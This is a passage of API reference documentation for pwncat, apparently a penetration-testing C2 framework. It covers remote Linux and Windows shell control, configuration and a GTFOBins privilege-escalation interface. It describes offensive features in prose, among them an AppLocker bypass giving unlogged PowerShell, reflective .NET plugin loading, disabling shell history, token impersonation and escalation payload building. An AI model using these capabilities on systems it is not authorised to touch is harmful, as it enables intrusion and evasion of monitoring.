**abstract unlink**(*target: str*)
Remove a link to a file (similar to *rm*)

**which**(*name: str*, ***kwargs*) → str
Locate the specified binary on the remote host. Normally, this is done through the local *which* command on the remote host (for unix-like hosts), but can be located by any means. The returned path string is guaranteed to exist on the remote host and provide the capabilities of the requested binary.

**Parameters** **name** (*Union[list, str]*) – name of the binary (e.g. "tar" or "dd")

**Returns** full path to the requested binary

**Return type** str

**Raises** FileNotFoundError: the requested binary does not exist on this host

**abstract whoami**()
Retrieve's only name of the current user (may be faster depending on platform)

**exception** pwncat.platform.**PlatformError**
Bases: Exception

Generic platform error.

pwncat.platform.**create**(*platform: str*, *log: str = None*, *channel: Optional[*pwncat.channel.Channel*] = None*, ***kwargs*)
Create a new platform object with a registered platform type. If no channel is specified, then this will attempt to utilize the pwncat.channel.create factory function to create a channel. In this case, all keyword arguments are passed to the channel creation function and a platform is created around the channel.

**Parameters**

- **platform** (*str*) – the name of the platform to construct
- **channel** (pwncat.channel.Channel) – the C2 channel to use for communication

**Returns** A newly created platform around the specified channel

**Return type** *Platform*

**Raises** KeyError: if the specified platform does not exist ChannelError: if a channel could not be created

pwncat.platform.**find**(*name: str*) → Type[*pwncat.platform.Platform*]
Retrieve the platform class for the specified name

**Parameters** **name** (*str*) – name of the platform

**Returns** the platform class

**Return type** Type[*Platform*]

**Raises** KeyError: if the specified platform does not exist

pwncat.platform.**register**(*platform: Type[*pwncat.platform.Platform*]*)
Register a platform class to be automatically constructed with the `create` factory function with the given name. This can be used to register new custom platforms in plugins.

**Parameters**

- **name** (*str*) – the name of the new platform
- **platform** (*Type[Platform]*) – the platform class

## Modules and Packages

### pwncat.platform.linux module

The Linux platform provides Linux shell support ontop of any channel. The Linux platfrom expects the channel to expose a shell whose stdio is connected directly to the channel IO. At a minimum stdin and stdout must be connected.

Because of the way this platform interacts with the shell directly, it is not able to manage multiple active processes. Only as single Popen can be running at a time. It is imperative that you call `Popen.wait` or wait for `Popen.poll` to return non-Null prior to calling any other pwncat methods.

**class** pwncat.platform.linux.**Linux**(*session*, *channel:* pwncat.channel.Channel, **args*, ***kwargs*)
Bases: *pwncat.platform.Platform*

Concrete platform class abstracting interaction with a GNU/Linux remote host. See the base class (`pwncat.platform.Platform`) for more information on the implemented methods and interface definition.

**PATH_TYPE**
alias of `pathlib.PurePosixPath`

**Popen**(*args*, *bufsize=- 1*, *stdin=None*, *stdout=None*, *stderr=None*, *shell=False*, *cwd=None*, *encoding=None*, *text=None*, *errors=None*, *env=None*, *bootstrap_input=None*, *send_command=None*, ***other_popen_kwargs*) → *pwncat.subprocess.Popen*
Execute a process on the remote host with an interface similar to that of the python standard `subprocess.Popen`. The returned object behaves much like a standard `Popen` object and conforms to the interface defined by `pwncat.subprocess.Popen`. For an explanation of arguments, see `pwncat.subprocess.Popen`.

**abspath**(*path: str*) → str
Attempt to resolve a path to an absolute path

**chdir**(*path: Union[str,* pwncat.platform.Path*]*)
Change directories to the given path. This method returns the current working directory prior to the change.

**Parameters** **path** (*Union[str,* pwncat.platform.Path*]*) – a relative or absolute path to change to

**Returns** current working directory prior to the change

**Raises** FileNotFoundError: the specified path doesn't exist NotADirectoryError: the specified path is not a directory

**chmod**(*path: str*, *mode: int*, *link: bool = False*)
Update the file permissions

**chown**(*path: str*, *uid: int*, *gid: int*)
Change ownership of a file

**compile**(*sources: List[Union[str, BinaryIO]]*, *output: str = None*, *suffix: str = None*, *cflags: List[str] = None*, *ldflags: List[str] = None*) → str

Attempt to compile the given C source files into a binary suitable for the remote host. If a compiler exists on the remote host, prefer compilation locally. If no compiler exists on the remote remote host, check the *cross* global config variable for the path to a local compiler capable of generating binaries for the remote host. If the binary is compiled locally, it is automatically uploaded to the remote host. The path to the new binary on the victim is returned.

**Parameters**

- **sources** (*List[Union[str, io.IOBase]]*) – list of source file paths or IO streams used as source files
- **output** (*str*) – base name of the output file. If not specified, a name is randomly generated.
- **suffix** (*str*) – a suffix to add to the output name.
- **cflags** (*List[str]*) – a list of flags to pass to the compiler
- **ldflags** (*List[str]*) – a list of flags to pass to the linker

**Returns** str

**Raises**

- **NotImplementedError** – this platform does not support c compilation
- ***PlatformError*** – no local or cross compiler detected or compilation failed

**disable_history**()

Disable shell history

**exit**()

Exit this session

**get_host_hash**() → str

Retrieve a string which uniquely identifies this victim host. On Unix-like platforms, this retrieves the hostname and MAC addresses of any available network interfaces and computes a hash, which should be unique regardless of connection method.

**Returns** a unique string (normally a hash) identifying this host

**Return type** str

**get_pty**()

Spawn a PTY in the current shell. If a PTY is already running then this method does nothing.

**getenv**(*name: str*)

Get the value of an environment variable.

**Parameters** **name** (*str*) – the name of the environment variable

**Return type** str

**getuid**()

Retrieve the current cached uid

**property interactive**

Indicates whether the remote victim shell is currently in a state suitable for user-interactivity. Setting this property to True will ensure that a suitable shell prompt is set, echoing is one, etc.

**link_to**(*source: str*, *target: str*)

Create a filesystem hard link.

**listdir** (*path=None*) → Generator[str, None, None]
List the contents of a directory. If `path` is None, then the contents of the current directory is listed. The list is not guaranteed to be sorted in any way.

**Parameters** **path** (*str or Path-like*) – the directory to list

**Raises** **FileNotFoundError** – When the requested directory is not a directory, does not exist, or you do not have execute permissions.

**lstat** (*path: str*) → os.stat_result
Perform the equivalent of the lstat syscall

**mkdir** (*path: str*, *mode: int = 511*, *parents: bool = False*)
Create a new directory

**name = 'linux'**

**open** (*path: Union[str, pwncat.platform.Path]*, *mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*)
Open a remote file for reading or writing. Normally, only one of read or write modes are allowed for a remote file, but this may change with future platforms. It is recommended to only use one mode when opening remote files. This method attempts to replicate the built-in `open` function and returns a file-like object. The *b* mode is honored and if not present, a TextIOWrapper is used to wrap the file object to ensure text data is returned.

**Parameters**

- **path** (*Union[str, pwncat.platform.Path]*) – path to the file
- **mode** (*str*) – the open-mode (see built-in `open`)

**Returns** a file-like object

**readlink** (*path: str*)
Attempt to read the target of a link

**refresh_uid** ()
Retrieve the current user ID

**rename** (*source: str*, *target: str*)
Rename a file from the source to the target. This should replace the target if it exists.

**rmdir** (*target: str*)
Remove the specified directory. It must be empty.

**setenv** (*name: str*, *value: str*, *export: bool = False*)
Set an environment variable in the shell.

**Parameters**

- **name** (*a string representing a valid shell variable name*) – the name of the environment variable
- **value** (*str*) – the value of the variable
- **export** (*bool*) – whether to export the new value

**stat** (*path: str*) → os.stat_result
Perform the equivalent of the stat syscall on the remote host

**su** (*user: str*, *password: Optional[str] = None*)
Attempt to switch users in the running shell. This normally executes a new sub-shell as the requested user. On unix-like systems, this is simply a wrapper for the `su` command. Implementations may differ on other systems. If a password isn't provided, the database will be consulted for a matching username and password.

**Parameters**

- **user** (*str*) – the name of the new user
- **password** (*str*) – the password for the new user

**Raises** PermissionError: the provided password was incorrect

**sudo**(*command: Union[str, List[str]]*, *user: Optional[str] = None*, *group: Optional[str] = None*, *password: Optional[str] = None*, *as_is: bool = False*, ***popen_kwargs*)

Run the specified command as the specified user and group. On unix-like systems the normally translates to the `sudo` command. The command is executed using the `self.popen` method. All arguments not documented here are passed directly to `self.popen`. The process is executed and if a password is required, it is sent from the database. If a password is not available, the process is killed and a PermissionError is raised. If the password is incorrect, a PermissionError is also raised.

**Parameters**

- **command** (*str*) – either an argument array or command line string
- **user** (*str*) – the name of a user to execute as or None
- **group** (*str*) – the group to execute as or None
- **password** (*str*) – the password for the current user
- **as_is** (*bool*) – indicates to not add `sudo` to the command line
- ****popen_kwargs** – arguments passed to the `Popen` method

**symlink_to**(*source: str*, *target: str*)

Create a symbolic link to source from target

**tempfile**(*length: Optional[int] = None*, *suffix: Optional[str] = None*, *directory: Optional[str] = None*, ***kwargs*)

Create a temporary file on the remote host and open it with the specified mode. Creating a new temporary file with a mode other than "w" is mostly useless, however `mode` can be used to specify a binary or text-mode file. The length argument is useful if you know the length of file you are about to read. This alleviates some situations which could be complicated on some platforms by not knowing the intended file length prior to opening. Optionally, a suffix can be added to the random file name. A file-like object is returned. The temporary file is not removed by pwncat itself. Unless explicitly removed, it will continue to exist until the remote operating system cleans up temporary files (possible at the next reboot).

**Parameters**

- **mode** (*str*) – the open-mode for the new file-like object
- **length** (*int*) – the intended length for the new file random name component
- **suffix** (*str*) – a suffix for the filename
- **directory** (*str or Path-like*) – a directory where the temporary file will be placed

**Returns** a file-like object

**touch**(*path: str*)

Update a file modification time and possibly create it

**umask**(*mask: int = None*)

Set or retrieve the current umask value

**unlink**(*target: str*)

Remove a link to a file (similar to *rm*)

**whoami**()
Get the name of the current user

**class** pwncat.platform.linux.**LinuxReader**(*popen*, *on_close=None*, *name: str = None*)
Bases: io.BufferedIOBase

A file-like object which wraps a Popen object to enable reading a remote file.

**close**()
Close the file and stop the process

**detach**()
Detach the underlying process and return the Popen object

**read**(*size: int = - 1*)
Read data from the file

**read1**(*size: int = - 1*)
Read data w/ 1 call to underlying buffer

**readable**()
Return whether object was opened for reading.

If False, read() will raise OSError.

**readinto**(*b*)
Read data w/ 1 call to underlying buffer

**readinto1**(*b*)
Read data w/ 1 call to underlying buffer

**writable**()
Return whether object was opened for writing.

If False, write() will raise OSError.

**class** pwncat.platform.linux.**LinuxWriter**(*popen*, *on_close=None*, *name: str = None*)
Bases: io.BufferedIOBase

A wrapper around an active Popen object which is writing to a file. Remote files are not seekable, and cannot be simultaneous read/write.

**CONTROL_CODES = [0, 1, 2, 3, 4, 5, 6, 7, 12, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 2**

**close**()
Close the file and stop the process

**detach**()
Detach the underlying process and return the Popen object

**readable**()
Return whether object was opened for reading.

If False, read() will raise OSError.

**writable**()
Return whether object was opened for writing.

If False, write() will raise OSError.

**write**(*b*)
Write data to the underlying Popen stdin. This translates any control-sequences into escaped control sequences, because it assumes you are trying to write to a file and not control the terminal.

**class** pwncat.platform.linux.**PopenLinux**(*platform: pwncat.platform.Platform*, *args*, *stdout*, *stdin*, *text*, *encoding*, *errors*, *bufsize*, *start_delim: bytes*, *end_delim: bytes*, *code_delim: bytes*)

Bases: *pwncat.subprocess.Popen*

Linux-specific Popen wrapper class.

**args: List[str]**

**communicate**(*input=None*, *timeout=None*)
Interact with process: Send data to stdin. Read data from stdout and stderr, until end-of-file is readched. Wait for the process to terminate and set the `returncode` attribute. The optional `input` argument should be data to be sent to the child process, or None, if no data should be sent to the child. If streams were opened in text mode, `input` must be a string. Otherwise, it must be `bytes`.

**detach**()

**kill**()
Kills the child

**pid: int**

**poll**()
Check if the child process has terminated. Set and return `returncode` attribute. Otherwise, returns None.

**returncode: int**

**stderr: IO**

**stdin: IO**

**stdout: IO**

**terminate**()
Stop the child.

**wait**(*timeout: float = None*)
Wait for child process to terminate. Set and return `returncode` attribute.

If the process does not terminate after `timeout` seconds, raise a `TimeoutExpired` exception. It is safe to catch this exception and retry the wait.

### pwncat.platform.windows module

This platform supports interaction with a Windows target where either a cmd.exe or powershell.exe stdio is connected directly to the active channel. pwncat will utilize the C2 libraries located at pwncat-windows-c2 This will be automatically downloaded to the directory identified by the `windows_c2_dir` configuration which defaults to `~/.local/share/pwncat/`. It will be uploaded and executed via `Install-Util` in order to automatically bypass AppLocker, and will provide you an unlogged, unconstrained powershell session as well as basic process and file IO routines.

When operating in a platform-specific environment, you can safely execute multiple processes and open multiple files with this platform. However, you should be careful to cleanup all processes and files prior to return from your method or code as the C2 will not attempt to garbage collect file or proces handles.

**class** pwncat.platform.windows.**BuiltinPluginInfo**(*name: str*, *provides: List[str]*, *url: str*, *version: str*)

Bases: `object`

Tells pwncat where to find a builtin plugin

**name: str**
A friendly name used when loading the plugin

**provides: List[str]**
List of DLL names which this plugin provides

**url: str**
URL pointing to a tar.gz file containing the plugin DLL(s)

**version: str**
The version number to download (this is formatted into the URL)

**class** pwncat.platform.windows.**DotNetPlugin**(*platform:* pwncat.platform.windows.Windows, *name: str*, *checksum: str*, *ident: int*)

Bases: object

Represents a reflectively loaded .Net plugin within the remote C2 This class is a helper which makes calling methods within a plugin more straightforward. If you want to call a method named get_system you can use one of two syntaxes:

```
plugin.run("get_system", "arguments", 1, 2, False)
plugin.get_system("arguments", 1, 2, False)
```

**Parameters**

- **name** (*str*) – basename of the file which was loaded
- **checksum** (*str*) – md5sum of the assembly
- **ident** (*int*) – identifier for the remote assembly

**run**(*method: str*, **args*)
Execute a method within the plugin

**class** pwncat.platform.windows.**PopenWindows**(*platform:* pwncat.platform.Platform, *args*, *stdout*, *stdin*, *stderr*, *text*, *encoding*, *errors*, *bufsize*, *result*)

Bases: *pwncat.subprocess.Popen*

Windows-specific Popen wrapper class

**args: List[str]**

**cleanup**()

**communicate**(*input=None*, *timeout=None*)
Interact with process: Send data to stdin. Read data from stdout and stderr, until end-of-file is readched. Wait for the process to terminate and set the returncode attribute. The optional input argument should be data to be sent to the child process, or None, if no data should be sent to the child. If streams were opened in text mode, input must be a string. Otherwise, it must be bytes.

**detach**()

**kill**()
Kills the child

**pid: int**

**poll**()
Poll if the process has completed and get return code

**returncode: int**

**stderr**: IO

**stdin**: IO

**stdout**: IO

**terminate**()
Stop the child.

**wait**(*timeout: float = None*)
Wait for child process to terminate. Set and return `returncode` attribute.

If the process does not terminate after `timeout` seconds, raise a `TimeoutExpired` exception. It is safe to catch this exception and retry the wait.

**exception** pwncat.platform.windows.**PowershellError**(*msg*)
Bases: `Exception`

Executing a powershell script caused an error

**exception** pwncat.platform.windows.**ProtocolError**(*code: int*, *message: str*)
Bases: `Exception`

**class** pwncat.platform.windows.**Windows**(*session: pwncat.session.Session*, *channel: pwncat.channel.Channel*, **args*, ***kwargs*)
Bases: *pwncat.platform.Platform*

Concrete platform class abstracting interaction with a Windows/ Powershell remote host. The remote windows host must support powershell for this platform to function, and the channel must be established with an open powershell session.

**C2_VERSION = 'v0.2.1'**

**PATH_TYPE**
alias of `pathlib.PureWindowsPath`

**PLUGIN_INFO = [BuiltinPluginInfo(name='windows-c2', provides=['stageone.dll', 'stagetw**

**Popen**(*args*, *bufsize=- 1*, *stdin=None*, *stdout=None*, *stderr=None*, *shell=False*, *cwd=None*, *encoding=None*, *text=None*, *errors=None*, *env=None*, *bootstrap_input=None*, ***other_popen_kwargs*) → *pwncat.subprocess.Popen*
Execute a process on the remote host with an interface similar to that of the python standard `subprocess.Popen`. The returned object behaves much like a standard `Popen` object and conforms to the interface defined by `pwncat.subprocess.Popen`. For an explanation of arguments, see `pwncat.subprocess.Popen`.

**abspath**(*path: str*) → str
Convert the given relative path to absolute.

**Parameters** **path** (*str*) – a relative path

**Returns** an equivalent absolute path

**Return type** str

**chdir**(*path: str*)
Change the current working directory

**chmod**(*path: str*, *mode: int*)
Change a file's mode. Per the python documentation, this is only used to change the read-only flag for the Windows platform.

**dotnet_load**(*name: str*, *content: Optional[Union[bytes, _io.BytesIO]] = None*) → *pwncat.platform.windows.DotNetPlugin*
Reflectively load a .Net C2 plugin from the attacker machine. The plugin DLL should implement the

`Plugin` class and method interface. The name argument can either be a path to a local DLL or the name of a DLL provided by a built-in plugin. Built-in plugins will be automatically downloaded if not present in the directory pointed to by the `plugin_path` configuration.

Plugins are also deduplicated prior to loading on the victim. If a given DLL name or a file with a matching hash has already been loaded, the existing plugin object is returned, and the DLL is not loaded again.

The return *DotNetPlugin* class is capable of cleanly translating method calls to the methods within the loaded DLL. For example, if `plugin.dll` defined a method named `foo`, which took a single string argument, you could call it with:

```
plugin = session.platform.dotnet_load("./plugin.dll")
result = plugin.foo("Hello World!")
```

Plugins can take as parameters and return any JSON-serializable objects.

**Parameters**

- **name** (*str*) – name or path to the DLL to upload
- **content** (*Optional[Union[bytes, BytesIO]]*) – content of the DLL to load or file-like object, if not present on disk

**Return type** *DotNetPlugin*

**exit**()
Ensure the C2 exits on the victim end. This is called automatically by session.close, and shouldn't be called manually.

**get_host_hash**()
Unique host identifier for this target. It is taken from the unique cryptographic GUID stored in the windows registry at install.

**get_pty**()
We don't need to do this for windows

**getenv**(*name: str*) → str
Retrieve the value of a given environment variable in the current shell.

**Parameters** **name** (*str*) – name of the environment variable

**Returns** value of the variable

**Return type** str

**getuid**()
Retrieve the cached User ID

**impersonate**(*token: int*)
Impersonate a user token in the powershell and .net contexts.

**Parameters** **token** (*int*) – the user token to impersonate

**property interactive**

**interactive_loop**(*interactive_complete: threading.Event*)
Interactively read input from the attacker and send it to an interactive terminal on the victim. *RawModeExit* and *ChannelClosed* exceptions are handled by the manager appropriately. If any changes are made to the local TTY, they should be reverted before returning (ideally via a try-finally block). Output from the remote host is automatically piped to stdout via a background thread by the manager.

**is_admin**() → bool
Determine if our current user is an administrator user

**is_system**() → bool
Determine if our current user is SYSTEM We might not need this, because the users name SHOULD be system... but we implement it just in face

**link_to**(*target: str*, *path: str*)
Create hard link at `path` pointing to `target`. This will likely result in a PermissionError exception on Windows. It is implemented with the New-Item powershell commandlet.

**Parameters**

- **target** (*str*) – the path to the target of the link
- **path** (*str*) – the path to the new link object

**listdir**(*path: str*)
Return a list of items in the directory at the given relative or absolute directory path.

**Parameters** **path** (*str*) – relative or abosolute directory path

**Returns** list of file or directory names

**Return type** List[str]

**lstat**()
Perform stat on a link instead of the target of the link.

**mkdir**(*path: str*, *mode: int = 511*, *parents: bool = True*)
Create a new directory. This is implemented with the New-Item commandlet.

**Parameters**

- **path** (*str*) – path to the new directory
- **mode** (*int*) – permissions for the directory (ignored for windows)
- **parents** – whether to create all items (defaults to True for windows)

**name = 'windows'**

**new_item**(***kwargs*)
Run the *New-Item* commandlet with specified arguments and raise the appropriate local exception if requried. For a list of valid arguments, see the New-Item help documentation.

**open**(*path: Union[str, pwncat.platform.Path]*, *mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = 'utf-8'*, *errors: str = None*, *newline: str = None*)
Mimick the built-in open method.

**classmethod open_plugin**(*manager:* pwncat.manager.Manager, *name: str*) → _io.BytesIO
Open the given plugin DLL for reading and return an open file object. If the given name matches a builtin plugin, it will be used. If a builtin plugin is not available, it will be downloaded from it's URL and saved in the provided plugin path. If the name does not match a provided plugin DLL, it is interpreted as a path and attempted to be opened.

**Parameters**

- **manager** (pwncat.manager.Manager) – the pwncat manager object used to locate the plugin directory
- **name** (*str*) – name of the plugin being requested

**Return type** BytesIO

**parse_response**(*data: bytes*)
Parse a line of data from the C2

**powershell**(*script: Union[str, BinaryIO]*, *depth: int = 1*)
Execute a powershell script in the context of the C2. The results of the command are automatically serialized with `ConvertTo-Json`. You can control the depth of serialization, although with large objects this may impose significant performance impacts. The default depth is `1`.

**Parameters**

- **script** (*Union[str, BinaryIO]*) – a powershell script to execute on the target
- **depth** (*int*) – the depth of serialization within the returned object, defaults to `1`

**process_output**(*data: bytes*)
Process stdout while in interactive mode. This is called each time the victim output thread receives data. You can modify the input data and return a new copy if needed before output to the screen.

**Parameters** **data** (*bytes*) – the data received from the victim in interactive mode

**readlink**()
Read the target of a filesystem link

**refresh_uid**()
Retrieve the current user ID. For Windows, this is done through System.Security.Principal.WindowsIdentity::GetCurrent().User.

**rename**(*src: str*, *dst: str*)
Rename a file

**Parameters**

- **src** (*str*) – path to the source file
- **dst** (*str*) – path or new name for the destination file

**revert_to_self**()
Revert any impersonations and return to the original user

**rmdir**(*path: str*, *recurse: bool = False*)
Remove a directory, optionally remove all contents first.

**Parameters**

- **path** (*str*) – path to a directory to remove
- **recurse** (*bool*) – whether to recursively remove all contents first

**run_method**(*typ: str*, *method: str*, **args*, *wait: bool = True*)
Execute a method within the pwncat-windows-c2. You must specify the type and method arguments. Arguments are passed via json encoding so any valid JSON types should be passed correctly onto the C2. Named arguments are not supported. Results are returned as a dictionary. In the case of an error, a ProtocolError is raised with the error code and message.

**Parameters**

- **typ** (*str*) – The type name where the method you'd like to execute resides
- **method** (*str*) – The name of the method you'd like to execute
- ***args** (*correct type for given method*) – the positional arguments for the method you are calling

**setup_prompt**()
Set a prompt method for powershell to ensure our prompt looks pretty :)

**stat**(*path: str*) → *pwncat.platform.windows.stat_result*
Perform a stat on the given path, returning important file system details on the file.

**Parameters** **path** (*str*) – path to an existing file

**Returns** the stat data

**Return type** *stat_result*

**symlink_to**(*target: str*, *path: str*)
Create a symlink at `path` pointing to `target`. This is implemented using the New-Item powershell commandlet.

**Parameters**

- **target** (*str*) – the path to the target of the link
- **path** (*str*) – the path to the new link object

**tempfile**(*mode: str*, *length: Optional[int] = 8*, *suffix: Optional[str] = None*)
Create a temporary file in a safe directory. Optionally provide a suffix

**touch**(*path: str*)
Touch a file (aka update timestamps and possibly create).

**Parameters** **path** (*str*) – path to new or existing file

**umask**(*mask: Optional[int] = None*)
Set or retrieve the current umask value

**unlink**(*path: str*)
Remove an entry from the file system.

**Parameters** **path** (*str*) – path to a file or empty directory

**whoami**() → str
Retrieve the current user name

NOTE: This is not cached.

**class** pwncat.platform.windows.**WindowsFile**(*platform: pwncat.platform.windows.Windows*, *mode: str*, *handle: int*, *name: str = None*)
Bases: `io.RawIOBase`

Wrapper around file handles on Windows

**close**()
Close a file handle on the remote host

**readable**() → bool
Return whether object was opened for reading.

If False, read() will raise OSError.

**readall**()
Read until EOF

**readinto**(*b: Union[memoryview, bytearray]*)

**writable**() → bool
Return whether object was opened for writing.

If False, write() will raise OSError.

**write**(*data: bytes*)
Write data to this file

**class** pwncat.platform.windows.**stat_result**
Bases: `object`

Python *os* doesn't provide a way to sainly construct a stat_result so I created this.

**st_atime = 0**

**st_atime_ns = 0**

**st_birthtime = 0**

**st_blksize = 0**

**st_blocks = 0**

**st_creator = 0**

**st_ctime = 0**

**st_ctime_ns = 0**

**st_dev = 0**

**st_file_attributes = 0**

**st_flags = 0**

**st_fstype = 0**

**st_gen = 0**

**st_gid = 0**

**st_ino = 0**

**st_mode = 0**

**st_mtime = 0**

**st_mtime_ns = 0**

**st_nlink = 0**

**st_rdev = 0**

**st_reparse_tag = 0**

**st_rsize = 0**

**st_size = 0**

**st_type = 0**

**st_uid = 0**

### pwncat.config module

This module houses the core pwncat configuration classes. pwncat configuration is not free-form. There are a specific set of known configuration names which can be set, and each one has a specific type. Type-checking is done at assignment by executing the callable used as the type for a given configuration. Configuration types generally do a good job of converting strings from the interactive promp to legitimate values for the configuration being modified. If it cannot be converted, a `ValueError` is raised.

There is currently no way to augment the configuration items exposed by pwncat. This may be added in the future, but currently, any configuration should be specific to your module or command.

---

**Note:** If a module requires an argument which matches the name of a global configuration, the value from the global configuration will be used as the default. This can be used, for example, to automatically utilize the global values for

backdoor users or keys in your modules as configured by the user and decrease the number of required parameters to a module.

---

**class** pwncat.config.**Config**
Bases: object

**back**()
Remove the currently used module and clear locals

**binding**(*name_or_value: Union[str, bytes]*) → str
Get a key binding by it's key name or key value.

**copy**() → *pwncat.config.Config*
Copy this configuration object exactly. This is mainly used to allow for the possibility of running modules in the background without being affected by future configuration changes.

**get**(*name: str*, *default=None*)
get a value

**set**(*name: str*, *value: Any*, *glob: bool = False*)
Set a config value

**use**(*module:* pwncat.modules.BaseModule)
Use the specified module. This clears the current locals configuration.

**class** pwncat.config.**KeyType**(*name: str*)
Bases: object

pwncat.config.**bool_type**(*value: str*) → bool

pwncat.config.**key_type**(*value: str*) → bytes
Converts a key name to a ansi keycode. The value can either be a single printable character or a named key from prompt_toolkit Keys

pwncat.config.**local_dir_type**(*value: str*) → str
Ensure the path specifies a local directory

pwncat.config.**local_file_type**(*value: str*) → str
Ensure the local file exists

### pwncat.db module

This package defines all database objects. pwncat internally uses the ZODB database, which stores data as persistent Python objects. Each class defined under this package is a persistent Python class which is stored verabtim in the database. For documentation on how to create persistent classes, please see the ZODB documentation.

**class** pwncat.db.**Binary**(*name*, *path*)
Bases: persistent.Persistent

Store the name and path to binaries. This serves as the cache for *pwncat.platform.Platform.which()*.

**class** pwncat.db.**Fact**(*types*, *source*)
Bases: *pwncat.modules.Result*, persistent.Persistent

Abstract enumerated fact about an enumerated target. Individual enumeration modules will create subclasses containing the data for the fact. All facts are also implementations of Result which allows them to be generically displayed to the terminal.

**category**(*session*) → str
Return a "category" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized"

**property type**

### pwncat.gtfobins module

The gtfobins module provides an abstract interface into the GTFOBins database. The GTFOBins database maps binaries to special permissions which could be used for privilege escalation (among other things). Internally, pwncat uses this database to identify ways to read/write files as well as during escalation with things like SETUID binaries and sudo rules. A full list of all supported binaries can be seen in `pwncat/data/gtfobins.json`.

**class** pwncat.gtfobins.**Binary**(*gtfo: pwncat.gtfobins.GTFOBins*, *name: str*, *methods: List[Dict[str, Any]]*)
Bases: `object`

Encapsulates a GTFOBin and it's methods for all capabilities

**iter_methods**(*binary_path: str*, *caps: pwncat.gtfobins.Capability*, *stream: pwncat.gtfobins.Stream*, *spec: str = None*)
Iterate over methods in this binary matching the capability and stream masks

**exception** pwncat.gtfobins.**BinaryNotFound**
Bases: `Exception`

The binary asked for either doesn't provided the required functionality or isn't present on the remote system

**flag** pwncat.gtfobins.**Capability**(*value*)
Bases: `enum.Flag`

The capabilities of a given GTFOBin Binary. A binary may have multiple implementations of each capability, but these flags indicate a list of all capabilities which a given binary supports.

Valid values are as follows:

**READ = <Capability.READ: 1>**

**WRITE = <Capability.WRITE: 2>**

**SHELL = <Capability.SHELL: 4>**

**ALL = <Capability.ALL: 7>**

**NONE = <Capability.NONE: 0>**

**class** pwncat.gtfobins.**ControlCodes**
Bases: `object`

**CTRL_C = '\x03'**

**CTRL_D = '\x04'**

**CTRL_O = '\x0f'**

**CTRL_R = '\x12'**

**CTRL_T = '\x14'**

**CTRL_X = '\x18'**

**CTRL_Z = '\x1a'**

**ESCAPE = '\x1b'**

**class** pwncat.gtfobins.**GTFOBins**(*gtfobins: str*, *which: Callable[[str], str]*)
Bases: object

Wrapper around the GTFOBins database. Provides access to searching for methods of performing various capabilities generically. All iterations yield MethodWrapper objects.

**Parameters**

- **gtfobins** (*str*) – path to the gtfobins database
- **which** (*Callable[[str, Optional[bool]], str]*) – a callable which resolves binary basenames to full paths. A second parameter indicates whether the returned path should be quoted as with shlex.quote.

**find_binary**(*binary_path: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*)
Locate a binary by name. Only return a binary if the capabilities overlap. Raise an BinaryNotFound exception if the capabilities don't match or the given binary doesn't exist on the remote system.

**iter_binary**(*binary_path: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, *spec: str = None*) → Generator[*pwncat.gtfobins.MethodWrapper*, None, None]
Iterate over methods for the given remote binary path. A binary will be located by taking the basename of the given path, and the cross- referencing with the given capabilities and stream types.

**iter_methods**(*caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, *spec: str = None*) → Generator[*pwncat.gtfobins.MethodWrapper*, None, None]
Iterate over methods which provide the given capabilities

**iter_sudo**(*spec: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, ***kwargs*)
Iterate over methods which are sudo-capable w/ the given sudo spec. This will restrict the search to those binaries which match the given sudo command spec.

**parse_binary_data**(*binary_data: Dict[str, List[Dict[str, Any]]]*)
Parse the given GTFObins binary information into the associated in-memory binary objects

**resolve_binaries**(*target: str*, ***args*)
resolve any missing binaries with the self.which method

**class** pwncat.gtfobins.**Method**(*binary:* pwncat.gtfobins.Binary, *cap:* pwncat.gtfobins.Capability, *data: Dict[str, Any]*)
Bases: object

Abstract method class built from the JSON database

**build_payload**(*gtfo:* pwncat.gtfobins.GTFOBins, *binary_path: str*, *spec: str = None*, *user: str = None*, *suid: bool = False*, ***kwargs*) → str
Generate a read payload

**sudo_args**(*binary_path: str*, *spec: str*) → bool
Check if this method is compatible with the given sudo command spec. It will evaluate whether there are wildcards, or if the given parameters satisfy the parameters needed for this method. The method returns the list of arguments that need to be added_lines to the sudo spec in order for it to run this method.

If this method is incompatible with the given sudo spec, SudoNotPossible is raised. If this spec is compatible, a list of arguments which need to be appended to the spec is returned.

**class** pwncat.gtfobins.**MethodWrapper**(*method:* pwncat.gtfobins.Method, *binary_path: str*)
Bases: object

Wraps a method and full binary path pair which together are capable of generating a payload to perform the specified capability.

**build**(*gtfo:* pwncat.gtfobins.GTFOBins, ***kwargs*) → Tuple[str, str, str]
Build the payload for this method and binary path. Depending on capability and stream type, different named parameters are required.

**property cap**
Access this methods capabilities

**exit**(*gtfo:* pwncat.gtfobins.GTFOBins, ***kwargs*) → str

**input**(*gtfo:* pwncat.gtfobins.GTFOBins, ***kwargs*) → str

**payload**(*gtfo:* pwncat.gtfobins.GTFOBins, ***kwargs*) → str

**property stream**
Access this methods stream type

**wrap_stream**(*pipe: BinaryIO*) → IO
Wrap the given BinaryIO pipe with the appropriate stream wrapper for this method. For "RAW" or "PRINT" streams, this is a null wrapper. For BASE64 and HEX streams, this will automatically decode the data as it is streamed. Closing the wrapper will automatically close the underlying pipe.

**exception** pwncat.gtfobins.**MissingBinary**
Bases: Exception

A method required an external binary that didn't exist

**flag** pwncat.gtfobins.**Stream**(*value*)
Bases: enum.Flag

What time of streaming data is required for a specific method.

Valid values are as follows:

**RAW = <Stream.RAW: 1>**

**PRINT = <Stream.PRINT: 2>**

**HEX = <Stream.HEX: 4>**

**BASE64 = <Stream.BASE64: 8>**

**ANY = <Stream.ANY: 15>**

**NONE = <Stream.NONE: 0>**

**exception** pwncat.gtfobins.**SudoNotPossible**
Bases: Exception

The given sudo command spec is not compatible with the method attempted.

### pwncat.manager module

